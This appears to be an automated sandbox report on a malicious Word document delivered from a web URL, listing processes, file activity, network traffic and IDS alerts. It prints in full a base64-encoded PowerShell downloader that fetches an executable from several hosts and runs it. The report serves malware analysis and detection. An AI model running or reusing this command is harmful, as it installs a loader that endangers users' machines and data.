URL: | https://www.dkstudy.com/Februar2019/VTDXDMEZW2724842/Dokumente/DOC |
Full analysis: | https://app.any.run/tasks/36396d00-b8e5-4e06-a1b8-8884db70e0b8 |
Verdict: | Malicious activity |
Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
Analysis date: | February 18, 2019, 18:59:10 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MD5: | 234D5E722C5D02702C5B5ADF4BE4A754 |
SHA1: | B55A9CC6B8E9F9B1488A27FDDE9B2C3DE52B4AC6 |
SHA256: | 49577825B0B907612133D2092F771AF06EAAFF0A47504570D310ACC498E3790C |
SSDEEP: | 3:N8DSL1UcyKMHh+30pkXh/pmBmn:2OLS5HhNMhRmQn |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2848 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3212 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2848 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3616 | "C:\Program Files\Opera\opera.exe" | C:\Program Files\Opera\opera.exe | explorer.exe | |
User: admin Company: Opera Software Integrity Level: MEDIUM Description: Opera Internet Browser Version: 1748 | ||||
3120 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\0345866963065_2019.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
564 | powersheLl -e JABvADcAMQBfADcAOABfADMAPQAoACcAUgAnACsAJwBfAF8AMwBfADAAJwApADsAJABCADkAMgA5AF8AOQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABsAF8AOAA1AF8AOQBfAD0AKAAnAGgAdAB0AHAAOgAvAC8AJwArACcAdABvACcAKwAnAGwAJwArACcAcwAnACsAJwB0AHkAYQBrAGkAJwArACcAdAB1AHQALgAnACsAJwByAHUALwAnACsAJwBvACcAKwAnADAARQAnACsAJwBsAHIAUgBPACcAKwAnADAAJwArACcAVwAzACcAKwAnAFkAJwArACcAcgBPAGcAQABoAHQAdAAnACsAJwBwADoALwAnACsAJwAvAHQAYQB0AHQAJwArACcAbwAnACsAJwBvACcAKwAnAGwAYQBiAG0AYQB4AGEAJwArACcAawB1AGwAJwArACcAYQAuAGsAegAnACsAJwAvADcAJwArACcANgA0ACcAKwAnADQAbgA2AE4ANgAnACsAJwBpAEsAUwAnACsAJwBlAEAAJwArACcAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwB3ACcAKwAnAHcAJwArACcAdwAnACsAJwAuACcAKwAnAHQAaQBtACcAKwAnAG8AJwArACcAdABoAHkAbQBpAGwAbAAnACsAJwBzAC4AbwByACcAKwAnAGcALgB1ACcAKwAnAGsALwBFADAAbwBLAE8AYQAwAEQAeQBDAE4AJwArACcANgBAACcAKwAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAbgBhACcAKwAnAHYAaQBnAGEAdABvACcAKwAnAHIAcABvACcAKwAnAGoAaQAnACsAJwB6ACcAKwAnAG4AaQAuACcAKwAnAHIAdQAvAFoAcgBFAG8ATwBoAHEAJwArACcAawAnACsAJwBIAEgAbQAnACsAJwBMAFkAJwArACcAXwBPAG4AYQBkAEIAeQAnACsAJwBFACcAKwAnAGgAcwBAACcAKwAnAGgAdAB0AHAAOgAvAC8AZgBlACcAKwAnAG4AaQBjAGgAawBhAC4AJwArACcAcgB1AC8AbgBoADcAJwArACcAcwBRAGEAJwArACcAZABGAFIAeABIADkAJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAUQBfADkANAA0ADUANgA3AD0AKAAnAFAAOAAnACsAJwBfACcAKwAnADAANgA3ACcAKQA7ACQAcwA4AF8AMgA3ADEAIAA9ACAAKAAnADYANQAnACsAJwAxACcAKQA7ACQAawA2ADkAMQBfADYAMQAwAD0AKAAnAGoAXwA1AF8AJwArACcAMAAwACcAKQA7ACQAaQBfADIAXwAyADgANQAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABzADgAXwAyADcAMQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGgANgAwADYAMwA3ACAAaQBuACAAJABsAF8AOAA1AF8AOQBfACkAewB0AHIAeQB7ACQAQgA5ADIAOQBfADkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAaAA2ADAANgAzADcALAAgACQAaQBfADIAXwAyADgANQAxACkAOwAkAGIAMwBfADgAXwA5AD0AKAAnAGgAJwArACcANQAwADUANgAnACsAJwA4AF8AXwAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABpAF8AMgBfADIAOAA1ADEAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABpAF8AMgBfADIAOAA1ADEAOwAkAG0AMAAwAF8AMwA5ADgAPQAoACcAVABfADAANAAnACsAJwBfACcAKwAnADMAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAG4AMgAzADcAXwA2AD0AKAAnAG4AMQA4AF8AMgAnACsAJwAxADcANwAnACkAOwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3532 | "C:\Users\admin\651.exe" | C:\Users\admin\651.exe | — | powersheLl.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2800 | "C:\Users\admin\651.exe" | C:\Users\admin\651.exe | 651.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3640 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | — | 651.exe |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
2848 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
2848 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\opr89A.tmp | — | |
MD5:— | SHA256:— | |||
3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\opr8DA.tmp | — | |
MD5:— | SHA256:— | |||
3616 | opera.exe | C:\Users\admin\AppData\Local\Opera\Opera\cache\sesn\opr0000V.tmp | — | |
MD5:— | SHA256:— | |||
3616 | opera.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M9ZV456R59E8NMG0SO6U.temp | — | |
MD5:— | SHA256:— | |||
3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml | xml | |
MD5:900CCFDFF1F54BFF76D4BB516E5BE3FA | SHA256:FD2D38C0DF18FDF51C5B309B24AF95ACD9FEB0FFFBB6535D59A912FF78831307 | |||
3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat | binary | |
MD5:5535C4B3DC46EBCF2BE23EA19194AAB1 | SHA256:71D87E515EBBD325AF2C4C04AAEFAB6FADE682342D3A13EE3F0270309893B482 | |||
3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat | binary | |
MD5:1AA8644C9261DC10F7247F6A145C1DD2 | SHA256:58A8933F65361633C6AB194000D312DC9D566F717B1A16814A0DBEE24A60EBE3 | |||
3616 | opera.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\16ec093b8f51508f.customDestinations-ms~RF2115c9.TMP | binary | |
MD5:86E185DECA505CC26E3CD6C9C96D619C | SHA256:D4F5BEAB5D738897F606485B31D89F773C7B0A59DD85F56BF243DE406FA8CF1D |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3616 | opera.exe | GET | — | 195.27.31.232:80 | http://ocsp.dcocsp.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJrF0xYA49jC3D83fgDGesaUkzIQQUf9OZ86BHDjEAVlYijrfMnt3KAYoCEAjcpTCOACXEZyq0lpzxC1k%3D | DE | — | — | whitelisted |
3616 | opera.exe | GET | 200 | 66.225.197.197:80 | http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl | US | der | 543 b | whitelisted |
3616 | opera.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAOXQPQlVpLtFek%2BmcpabOk%3D | US | der | 471 b | whitelisted |
3616 | opera.exe | GET | 200 | 93.184.220.29:80 | http://crl3.digicert.com/DigiCertGlobalRootCA.crl | US | der | 581 b | whitelisted |
2848 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
564 | powersheLl.exe | GET | 200 | 81.177.135.91:80 | http://tolstyakitut.ru/o0ElrRO0W3YrOg/ | RU | executable | 361 Kb | suspicious |
564 | powersheLl.exe | GET | 301 | 81.177.135.91:80 | http://tolstyakitut.ru/o0ElrRO0W3YrOg | RU | html | 246 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2848 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
3616 | opera.exe | 82.145.215.40:443 | certs.opera.com | Opera Software AS | — | whitelisted |
3212 | iexplore.exe | 43.226.146.30:443 | www.dkstudy.com | — | CN | unknown |
3616 | opera.exe | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
3616 | opera.exe | 66.225.197.197:80 | crl4.digicert.com | CacheNetworks, Inc. | US | whitelisted |
3616 | opera.exe | 43.226.146.30:443 | www.dkstudy.com | — | CN | unknown |
3616 | opera.exe | 185.26.182.111:443 | sitecheck2.opera.com | Opera Software AS | — | whitelisted |
564 | powersheLl.exe | 81.177.135.91:80 | tolstyakitut.ru | JSC RTComm.RU | RU | suspicious |
3616 | opera.exe | 195.27.31.232:80 | ocsp.dcocsp.cn | CW Vodafone Group PLC | DE | suspicious |
Domain | IP | Reputation |
---|---|---|
www.bing.com |
| whitelisted |
www.dkstudy.com |
| unknown |
certs.opera.com |
| whitelisted |
crl4.digicert.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
sitecheck2.opera.com |
| whitelisted |
crl3.digicert.com |
| whitelisted |
ocsp.dcocsp.cn |
| whitelisted |
tolstyakitut.ru |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
564 | powersheLl.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
564 | powersheLl.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
564 | powersheLl.exe | Misc activity | ET INFO EXE - Served Attached HTTP |